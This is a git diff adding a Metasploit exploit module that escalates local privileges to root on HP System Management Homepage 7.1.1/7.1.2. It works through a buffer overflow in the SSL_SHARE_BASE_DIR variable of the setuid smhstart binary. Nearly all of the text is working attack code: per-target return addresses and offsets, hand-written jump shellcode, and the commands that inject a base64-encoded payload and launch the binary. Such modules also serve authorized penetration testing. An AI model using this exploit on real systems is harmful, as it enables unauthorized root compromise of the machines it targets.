diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb new file mode 100644 index 0000000000..8920e8f580 --- /dev/null +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -0,0 +1,93 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/exploit/local/linux' +require 'msf/core/exploit/exe' + +class Metasploit4 < Msf::Exploit::Local + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + include Msf::Exploit::Local::Linux + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'HP System Management Homepage Local Privilege Escalation', + 'Description' => %q{ + Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'agix' #@agixid + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell' ], + 'Payload' => + { + 'Space' => 227, + 'BadChars' => "\x00\x22" + }, + 'References' => + [ + ['OSVDB', '91812'] #not exactly but there is none... + ], + 'Targets' => + [ + [ 'Hpsmh 7.1.1', + { + 'Arch' => ARCH_X86, + 'CallEsp' => 0x080c86eb, #call esp + 'Offset' => 58 + } + ], + [ 'Hpsmh 7.1.2', + { + 'Arch' => ARCH_X86, + 'CallEsp' => 0x080c8b9b, #call esp + 'Offset' => 58 + } + ], + ], + 'DefaultOptions' => + { + 'PrependSetuid' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => "Mar 30 2013", + } + )) + register_options([ + OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ]) + ], self.class) + end + + def exploit + pl = payload.encoded + padding = rand_text_alpha(target['Offset']) + ret = [target['CallEsp']].pack('V') + exploit = pl + exploit << ret + exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11 + exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl + exploit << padding + exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better + id=cmd_exec("id -un") + if id!="hpsmh" + fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this") + end + cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)") + cmd_exec("#{datastore['smhstartDir']}/smhstart") + end + +end